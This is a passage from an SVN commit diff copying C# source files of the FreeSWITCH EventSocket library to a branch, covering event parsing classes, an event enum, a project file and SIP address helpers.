+
+        public DateTime DateLocal
+        {
+            get { return m_dateLocal; }
+            set { m_dateLocal = value; }
+        }
+
+        public DateTime DateGMT
+        {
+            get { return m_dateGMT; }
+            set { m_dateGMT = value; }
+        }
+
+        public string CallingFile
+        {
+            get { return m_callingFile; }
+            set { m_callingFile = value; }
+        }
+
+        public string CallingFunction
+        {
+            get { return m_callingFunction; }
+            set { m_callingFunction = value; }
+        }
+
+        public int CallingLineNumber
+        {
+            get { return m_callingLineNumber; }
+            set { m_callingLineNumber = value; }
+        }
+
+        #endregion
+
+        public virtual bool IsChannelEvent
+        {
+            get { return false; }
+        }
+
+        public NameValueCollection Parameters
+        {
+            get { return _parameters; }
+        }
+
+        public NameValueCollection AllParameters
+        {
+            get { return _allParameters; }
+        }
+
+        internal void SetParameters(NameValueCollection allparams)
+        {
+            _allParameters = allparams;
+        }
+
+        public void Parse(NameValueCollection variables)
+        {
+            for (int i = 0; i < variables.Count; ++i)
+                ParseCommand(variables.GetKey(i), variables.Get(i));
+        }
+
+        public static EventBase CreateEvent(string eventName)
+        {
+            try
+            {
+                string eventNamea = "Event" + eventName;
+                Type t = Type.GetType("FreeSwitch.EventSocket.Event" + eventName);
+                if (t == null)
+                    return null;
+                return (EventBase) Activator.CreateInstance(t);
+            }
+            catch (TypeLoadException)
+            {
+                return null;
+            }
+        }
+
+        public virtual bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "event-name":
+                    m_name = value;
+                    break;
+                case "core-uuid":
+                    m_coreId = value;
+                    break;
+                case "event-date-local":
+                    m_dateLocal = DateTime.Parse(value);
+                    break;
+                case "event-date-gmt":
+                    m_dateGMT = DateTime.Parse(value);
+                    break;
+                case "event-calling-file":
+                    m_callingFile = value;
+                    break;
+                case "event-calling-function":
+                    m_callingFunction = value;
+                    break;
+                case "event-calling-line-number":
+                    int.TryParse(value, out m_callingLineNumber);
+                    break;
+                default:
+                    Parameters.Add(name, value);
+                    //Console.WriteLine(m_name + ", Unhandled parameter: [" + name + "] " + value);
+                    return false;
+            }
+            return true;
+        }
+
+        public override string ToString()
+        {
+            return "Base(" + m_name + ")";
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventHeartbeat.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventHeartbeat.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventHeartbeat.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventHeartbeat.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventHeartbeat.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,57 @@
+namespace FreeSwitch.EventSocket
+{
+    class EventHeartbeat : EventBase
+    {
+        private string _info;
+        private string _upTime;
+        private int _sessionCount;
+
+        public string Info
+        {
+            get { return _info; }
+            set { _info = value; }
+        }
+
+        public string UpTime
+        {
+            get { return _upTime; }
+            set { _upTime = value; }
+        }
+
+        public int SessionCount
+        {
+            get { return _sessionCount; }
+            set { _sessionCount = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "event-info":
+                    Info = value;
+                    break;
+                case "up-time":
+                    UpTime = value;
+                    break;
+                case "session-count":
+                    int.TryParse(value, out _sessionCount);
+                    break;
+
+                default:
+                    return base.ParseCommand(name, value);
+            }
+
+            return true;
+
+        }
+    }
+
+/*
+ Event-Info: System%20Ready
+Up-Time: 0%20years,%200%20days,%201%20hour,%2048%20minutes,%207%20seconds,%20265
+%20milliseconds,%20625%20microseconds%0A
+Session-Count: 0
+Event-Name: HEARTBEAT
+ */
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageQuery.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageQuery.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageQuery.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageQuery.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageQuery.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket
+{
+    public class EventMessageQuery : EventBase
+    {
+        private string _account;
+
+        public string Account
+        {
+            get { return _account; }
+            set { _account = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            if (name == "message-account")
+                Account = value;
+            else
+                return base.ParseCommand(name, value);
+
+            return true;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageWaiting.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageWaiting.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageWaiting.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageWaiting.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventMessageWaiting.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,145 @@
+namespace FreeSwitch.EventSocket
+{
+    public class EventMessageWaiting : EventBase
+    {
+        private string _account;
+        private int _newMessages;
+        private int _newUrgentMessages;
+        private int _totalMessages;
+        private int _totalUrgentMessages;
+
+        public EventMessageWaiting()
+        {
+            
+        }
+
+        public EventMessageWaiting(string account, int newMessages, int totalMessages)
+        {
+            _account = account;
+            _newMessages = newMessages;
+            _totalMessages = totalMessages;
+        }
+
+        /// <summary>
+        /// Messages are for this account
+        /// </summary>
+        public string Account
+        {
+            get { return _account; }
+            set { _account = value; }
+        }
+
+        /// <summary>
+        /// Total count of messages
+        /// </summary>
+        public bool MessagesWaiting
+        {
+            get { return _newMessages != 0 || _newUrgentMessages != 0; }
+        }
+
+        /// <summary>
+        /// Number of new messages
+        /// </summary>
+        public int NewMessages
+        {
+            get { return _newMessages; }
+            set { _newMessages = value; }
+        }
+
+        /// <summary>
+        /// Number of new urgent messages
+        /// </summary>
+        public int NewUrgentMessages
+        {
+            get { return _newUrgentMessages; }
+            set { _newUrgentMessages = value; }
+        }
+
+        /// <summary>
+        /// Total number of new/saved/old messages
+        /// </summary>
+        public int TotalMessages
+        {
+            get { return _totalMessages; }
+            set { _totalMessages = value; }
+        }
+
+        /// <summary>
+        /// Total number of new urgent messages
+        /// </summary>
+        public int TotalUrgentMessages
+        {
+            get { return _totalUrgentMessages; }
+            set { _totalUrgentMessages = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "mwi-messages-waiting":
+                    // are calculated by using voice messages
+                    break;
+                case "mwi-message-account":
+                    _account = value;
+                    break;
+                case "mwi-voice-message":
+                    return ParseVoiceMessages(value);
+                default:
+                    return base.ParseCommand(name, value);
+            }
+
+            return true;
+        }
+
+        private bool ParseVoiceMessages(string value)
+        {
+            /*
+             switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", 
+				total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages);
+             * */
+            int pos = value.IndexOf('/');
+            if (pos == -1)
+                return false;
+            if (!int.TryParse(value.Substring(0, pos), out _newMessages))
+                return false;
+
+            int oldPos = pos + 1;
+            pos = value.IndexOf(' ', pos);
+            if (pos == -1)
+                return false;
+            if (!int.TryParse(value.Substring(oldPos, pos - oldPos), out _totalMessages))
+                return false;
+
+            oldPos = pos + 2;
+            pos = value.IndexOf('/', pos);
+            if (pos == -1)
+                return false;
+            if (!int.TryParse(value.Substring(oldPos, pos - oldPos), out _newUrgentMessages))
+                return false;
+
+            oldPos = pos + 1;
+            pos = value.IndexOf(')', pos);
+            if (pos == -1)
+                return false;
+            if (!int.TryParse(value.Substring(oldPos, pos - oldPos), out _totalUrgentMessages))
+                return false;
+
+            return true;
+        }
+
+        public override string ToString()
+        {
+            string str = base.ToString();
+            str += "WMI-Messages-Waiting: " + (MessagesWaiting ? "yes" : "no") + "\n";
+            str += "WMI-Message-Account: " + _account + "\n";
+            if (_newUrgentMessages != 0 || _newMessages != 0)
+                str += string.Format("WMI-Voice-Message: {0}/{1} ({2}/{3})\n",
+                                     _newMessages,
+                                     _totalMessages,
+                                     _newMessages,
+                                     _totalUrgentMessages);
+            return str;
+        }
+    }
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventReSchedule.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventReSchedule.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventReSchedule.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventReSchedule.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events/EventReSchedule.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,62 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket
+{
+    class EventReSchedule : EventBase
+    {
+        private int m_taskId;
+        private string m_description;
+        private string m_group;
+        private string m_runtime;
+
+        public int TaskId
+        {
+            get { return m_taskId; }
+            set { m_taskId = value; }
+        }
+
+        public string Description
+        {
+            get { return m_description; }
+            set { m_description = value; }
+        }
+
+        public string Group
+        {
+            get { return m_group; }
+            set { m_group = value; }
+        }
+
+        public string Runtime
+        {
+            get { return m_runtime; }
+            set { m_runtime = value; }
+        }
+
+        public override bool ParseCommand(string name, string value)
+        {
+            switch (name)
+            {
+                case "task-id":
+                    int.TryParse(value, out m_taskId);
+                    break;
+                case "task-desc":
+                    m_description = value;
+                    break;
+                case "task-group":
+                    m_group = value;
+                    break;
+                case "task-runtime":
+                    m_runtime = value;
+                    break;
+                default:
+                    return base.ParseCommand(name, value);
+            }
+
+            return true;
+
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Events.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,107 @@
+using System.Collections.Generic;
+
+namespace FreeSwitch.EventSocket
+{
+    #region Event enum
+    public enum Event
+    {
+        Custom,
+        ChannelCreate,
+        ChannelDestroy,
+        ChannelState,
+        ChannelAnswer,
+        ChannelApplication,
+        ChannelHangup,
+        ChannelExecute,
+        ChannelExecuteComplete,
+        ChannelBridge,
+        ChannelUnbridge,
+        ChannelProgress,
+        ChannelOriginate,
+        ChannelOutgoing,
+        ChannelPark,
+        ChannelUnpark,
+        Api,
+        Log,
+        InboundChan,
+        OutboundChan,
+        Startup,
+        Shutdown,
+        Publish,
+        Unpublish,
+        Talk,
+        Notalk,
+        SessionCrash,
+        ModuleLoad,
+        Dtmf,
+        Message,
+        PresenceIn,
+        PresenceOut,
+        PresenceProbe,
+        SofiaRegister,
+        SofiaExpires,
+        Roster,
+        Codec,
+        BackgroundJob,
+        DetectedSpeech,
+        PrivateCommand,
+        Heartbeat,
+        All
+    }
+    #endregion
+
+    #region Events class
+    public class Events
+    {
+        private IList<Event> m_events = new List<Event>();
+
+        public Events() { }
+        public Events(params Event[] parameters)
+        {
+            foreach (Event e in parameters)
+            {
+                Add(e);
+            }
+        }
+
+        public void Add(Event e)
+        {
+            m_events.Add(e);
+        }
+
+        public Event this[int index]
+        {
+            get { return m_events[index]; }
+        }
+
+        public void Clear()
+        {
+            m_events.Clear();
+        }
+
+        public int Count
+        {
+            get { return m_events.Count; }
+        }
+
+        public static Events GetChannelEvents()
+        {
+            Events e = new Events();
+            e.Add(Event.ChannelAnswer);
+            e.Add(Event.ChannelBridge);
+            e.Add(Event.ChannelCreate);
+            e.Add(Event.ChannelDestroy);
+            e.Add(Event.ChannelExecute);
+            e.Add(Event.ChannelHangup);
+            e.Add(Event.ChannelOutgoing);
+            e.Add(Event.ChannelPark);
+            e.Add(Event.ChannelProgress);
+            e.Add(Event.ChannelState);
+            e.Add(Event.ChannelUnbridge);
+            e.Add(Event.ChannelUnpark);
+            return e;
+        }
+    }
+    #endregion
+
+}
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/FreeSwitch.EventSocket.csproj

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/FreeSwitch.EventSocket.csproj (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/FreeSwitch.EventSocket.csproj) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/FreeSwitch.EventSocket.csproj	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/FreeSwitch.EventSocket.csproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,129 @@
+<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
+  <PropertyGroup>
+    <Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
+    <Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
+    <ProductVersion>8.0.50727</ProductVersion>
+    <SchemaVersion>2.0</SchemaVersion>
+    <ProjectGuid>{3F8895F6-F710-4323-B96A-4EFB6BC97E08}</ProjectGuid>
+    <OutputType>Library</OutputType>
+    <AppDesignerFolder>Properties</AppDesignerFolder>
+    <RootNamespace>FreeSwitch.EventSocket</RootNamespace>
+    <AssemblyName>FreeSwitch.EventSocket</AssemblyName>
+    <StartupObject>
+    </StartupObject>
+    <SignAssembly>true</SignAssembly>
+    <AssemblyOriginatorKeyFile>EventSocket.pfx</AssemblyOriginatorKeyFile>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
+    <DebugSymbols>true</DebugSymbols>
+    <DebugType>full</DebugType>
+    <Optimize>false</Optimize>
+    <OutputPath>bin\Debug\</OutputPath>
+    <DefineConstants>DEBUG;TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
+    <DebugType>pdbonly</DebugType>
+    <Optimize>true</Optimize>
+    <OutputPath>bin\Release\</OutputPath>
+    <DefineConstants>TRACE</DefineConstants>
+    <ErrorReport>prompt</ErrorReport>
+    <WarningLevel>4</WarningLevel>
+  </PropertyGroup>
+  <ItemGroup>
+    <Reference Include="System" />
+    <Reference Include="System.Data" />
+    <Reference Include="System.Xml" />
+  </ItemGroup>
+  <ItemGroup>
+    <Compile Include="ChannelEvents\EventChannelApplication.cs" />
+    <Compile Include="ChannelEvents\EventChannelExecuteComplete.cs" />
+    <Compile Include="ChannelEvents\EventChannelOriginate.cs" />
+    <Compile Include="ChannelEvents\EventChannelBridge.cs" />
+    <Compile Include="ChannelEvents\ChannelEvent.cs" />
+    <Compile Include="ChannelEvents\EventChannelAnswer.cs" />
+    <Compile Include="ChannelEvents\EventChannelPark.cs" />
+    <Compile Include="ChannelEvents\EventChannelProgress.cs" />
+    <Compile Include="ChannelEvents\EventChannelUnbridge.cs" />
+    <Compile Include="ChannelEvents\EventChannelUnpark.cs" />
+    <Compile Include="ChannelEvents\EventCodec.cs" />
+    <Compile Include="ChannelEvents\EventSessionCrash.cs" />
+    <Compile Include="ChannelInfo.cs" />
+    <Compile Include="Commands\AnyCommand.cs">
+    </Compile>
+    <Compile Include="Commands\Api.cs" />
+    <Compile Include="Commands\AuthCommand.cs" />
+    <Compile Include="Commands\CmdBase.cs" />
+    <Compile Include="Commands\CommandReply.cs" />
+    <Compile Include="Commands\DeflectCmd.cs" />
+    <Compile Include="Commands\ExecuteJavascript.cs" />
+    <Compile Include="Commands\GetVariable.cs" />
+    <Compile Include="Commands\HoldCmd.cs" />
+    <Compile Include="Commands\Originate.cs" />
+    <Compile Include="Commands\ParkCmd.cs" />
+    <Compile Include="Commands\Playback.cs" />
+    <Compile Include="Commands\RecordCmd.cs" />
+    <Compile Include="Commands\SendEventCmd.cs" />
+    <Compile Include="Commands\SendMsg.cs" />
+    <Compile Include="Commands\SetVariable.cs" />
+    <Compile Include="Commands\SleepCmd.cs" />
+    <Compile Include="EventManager.cs" />
+    <Compile Include="ChannelEvents\EventDtmfStatus.cs" />
+    <Compile Include="General\CallVariable.cs" />
+    <Compile Include="Ivr\DtmfEventArgs.cs" />
+    <Compile Include="Ivr\IvrInterface.cs" />
+    <Compile Include="Ivr\IvrQueue.cs" />
+    <Compile Include="Ivr\PrivateWaitDtmf.cs" />
+    <Compile Include="LogWriterHandler.cs" />
+    <Compile Include="PlainEventMsg.cs" />
+    <Compile Include="EventParser.cs" />
+    <Compile Include="Events.cs" />
+    <Compile Include="Events\EventApiCommand.cs" />
+    <Compile Include="Events\EventBase.cs" />
+    <Compile Include="ChannelEvents\EventChannelCreate.cs" />
+    <Compile Include="ChannelEvents\EventChannelDestroy.cs" />
+    <Compile Include="ChannelEvents\EventChannelExecute.cs" />
+    <Compile Include="ChannelEvents\EventChannelHangup.cs" />
+    <Compile Include="ChannelEvents\EventChannelOutgoing.cs" />
+    <Compile Include="ChannelEvents\EventChannelState.cs" />
+    <Compile Include="EventSocket.cs" />
+    <Compile Include="Events\EventHeartbeat.cs" />
+    <Compile Include="Events\EventReSchedule.cs" />
+    <Compile Include="General\Address.cs" />
+    <Compile Include="General\SipAddress.cs" />
+    <Compile Include="General\SofiaSipAddress.cs" />
+    <Compile Include="PartyInfo.cs" />
+    <Compile Include="Program.cs" />
+    <Compile Include="Properties\AssemblyInfo.cs" />
+    <Compile Include="Events\EventMessageQuery.cs" />
+    <Compile Include="ChannelEvents\EventDtmf.cs" />
+    <Compile Include="SipEvents\EventPresenceIn.cs" />
+    <Compile Include="SipEvents\EventPresenceOut.cs" />
+    <Compile Include="SipEvents\EventPresenceProbe.cs" />
+    <Compile Include="SipEvents\EventRoster.cs" />
+    <Compile Include="Events\EventMessageWaiting.cs" />
+    <Compile Include="SipEvents\EventSofiaUnregister.cs" />
+    <Compile Include="SipEvents\SipEvent.cs" />
+    <Compile Include="SipEvents\EventPresence.cs" />
+    <Compile Include="SipEvents\EventSofiaExpire.cs" />
+    <Compile Include="SipEvents\EventSofiaRegister.cs" />
+    <Compile Include="StringHelper.cs" />
+    <Compile Include="StringParser.cs" />
+  </ItemGroup>
+  <ItemGroup>
+    <None Include="EventSocket.pfx" />
+  </ItemGroup>
+  <Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
+  <!-- To modify your build process, add your task inside one of the targets below and uncomment it. 
+       Other similar extension points exist, see Microsoft.Common.targets.
+  <Target Name="BeforeBuild">
+  </Target>
+  <Target Name="AfterBuild">
+  </Target>
+  -->
+  <PropertyGroup>
+    <PostBuildEvent>
+    </PostBuildEvent>
+  </PropertyGroup>
+</Project>
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/Address.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/Address.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/Address.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/Address.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/Address.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket.General
+{
+    public class Address
+    {
+        private string _extension;
+
+        public Address()
+        {
+            
+        }
+
+        public Address(string extension)
+        {
+            _extension = extension;
+        }
+
+        public string Extension
+        {
+            get { return _extension; }
+            set { _extension = value; }
+        }
+
+        public override string ToString()
+        {
+            return Extension;
+        }
+    }
+
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/CallVariable.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/CallVariable.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/CallVariable.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/CallVariable.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/CallVariable.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,41 @@
+namespace FreeSwitch.EventSocket.General
+{
+    /// <summary>
+    /// Variable that applies to both legs in a call.
+    /// </summary>
+    /// <remarks>
+    /// Variables can be access from FreeSWITCH with the name
+    /// "variable_[name]"
+    /// </remarks>
+    public class CallVariable
+    {
+        private readonly string _name;
+        private readonly string _value;
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="CallVariable"/> class.
+        /// </summary>
+        /// <param name="name">Name of variable.</param>
+        /// <param name="value">Value.</param>
+        public CallVariable(string name, string value)
+        {
+            _name = name;
+            _value = value;
+        }
+
+        public string Name
+        {
+            get { return _name; }
+        }
+
+        public string Value
+        {
+            get { return _value; }
+        }
+
+        public override string ToString()
+        {
+            return _name + "=" + _value;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/ChannelVariable.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/ChannelVariable.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/ChannelVariable.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/ChannelVariable.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/ChannelVariable.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,33 @@
+namespace FreeSwitch.EventSocket.General
+{
+    /// <summary>
+    /// Channel variables are used in freeswitch to store information
+    /// that can be used by javascript programs.
+    /// </summary>
+    public class ChannelVariable
+    {
+        private readonly string _name;
+        private readonly string _value;
+
+        public ChannelVariable(string name, string value)
+        {
+            _name = name;
+            _value = value;
+        }
+
+        public string Name
+        {
+            get { return _name; }
+        }
+
+        public string Value
+        {
+            get { return _value; }
+        }
+
+        public override string ToString()
+        {
+            return _name + "=" + _value;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SipAddress.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SipAddress.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SipAddress.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SipAddress.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SipAddress.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+using System;
+using System.Collections.Generic;
+using System.Text;
+
+namespace FreeSwitch.EventSocket.General
+{
+    public class SipAddress : Address
+    {
+        private string _domain;
+
+        public SipAddress(string domain, string extension)
+            : base(extension)
+        {
+            _domain = domain;
+        }
+
+        public string Domain
+        {
+            get { return _domain; }
+            set { _domain = value; }
+        }
+
+        public override string ToString()
+        {
+            return Extension + "@" + Domain;
+        }
+
+        public static SipAddress Parse(string fullAddress)
+        {
+            string[] parts = fullAddress.Split('@');
+            if (parts.Length == 2)
+            {
+                return new SipAddress(parts[1], parts[0]);
+            }
+            return null;
+        }
+    }
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SofiaSipAddress.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SofiaSipAddress.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SofiaSipAddress.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SofiaSipAddress.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/General/SofiaSipAddress.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,46 @@
+namespace FreeSwitch.EventSocket.General
+{
+    /// <summary>
+    /// Destination as a FreeSWITCH Sofia sip address.
+    /// </summary>
+    public class SofiaSipAddress : Address
+    {
+        private readonly string _profileName;
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="SofiaSipAddress"/> class.
+        /// </summary>
+        /// <param name="profileName">Profile (context) name.</param>
+        /// <param name="userName">User name (and if needed, IP address / domain name).</param>
+        public SofiaSipAddress(string profileName, string userName)
+        {
+            Extension = userName;
+            _profileName = profileName;
+        }
+
+        /// <summary>
+        /// Initializes a new instance of the <see cref="SofiaSipAddress"/> class.
+        /// </summary>
+        /// <param name="address">Another address.</param>
+        public SofiaSipAddress(SipAddress address)
+        {
+            _profileName = address.Domain;
+            Extension = address.Extension;
+        }
+
+        public override string ToString()
+        {
+            return "sofia/" + _profileName + "/" + Extension;
+        }
+
+        public static SofiaSipAddress Parse(string fullAddress)
+        {
+            string[] parts = fullAddress.Split('@');
+            if (parts.Length == 2)
+                return new SofiaSipAddress(parts[1], parts[0]);
+
+            parts = fullAddress.Split('/');
+            return parts.Length == 3 ? new SofiaSipAddress(parts[1], parts[2]) : null;
+        }
+    }
+}

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr)

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/DtmfEventArgs.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/DtmfEventArgs.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/DtmfEventArgs.cs) (0 => 14472)


--- freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/DtmfEventArgs.cs	                        (rev 0)
+++ freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/DtmfEventArgs.cs	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,44 @@
+using System;
+
+namespace FreeSwitch.EventSocket.Ivr
+{
+
+    public class DtmfEventArgs : EventArgs
+    {
+        private string _dtmf;
+        private string _dtmfCopy;
+
+        public DtmfEventArgs(string dtmf)
+        {
+            _dtmf = dtmf;
+            _dtmfCopy = (string)_dtmf.Clone();
+        }
+
+        /// <summary>
+        /// You cannot remove digits from the buffer (since it's a copy of the real buffer).
+        /// </summary>
+        /// <seealso cref="RemoveDigits"/>
+        public string Dtmf
+        {
+            get { return _dtmfCopy; }
+        }
+
+        /// <summary>
+        /// Remove digits from the real buffer.
+        /// </summary>
+        /// <param name="count">number of digits to remove.</param>
+        public void RemoveDigits(int count)
+        {
+            lock (_dtmf)
+            {
+                if (count > _dtmf.Length)
+                    _dtmf = string.Empty;
+                else
+                    _dtmf = _dtmf.Remove(0, count);
+                _dtmfCopy = (string)_dtmf.Clone();
+            }
+        }
+    }
+
+    public delegate void DtmfHandler(object source, DtmfEventArgs args);
+}

Deleted: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrInterface.cs

Copied: freeswitch/branches/seven/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrInterface.cs (from rev 14471, freeswitch/trunk/contrib/verifier/EventSocket/trunk/FreeSwitchEventSocket/Ivr/IvrInterface.cs) (0 => 14472)


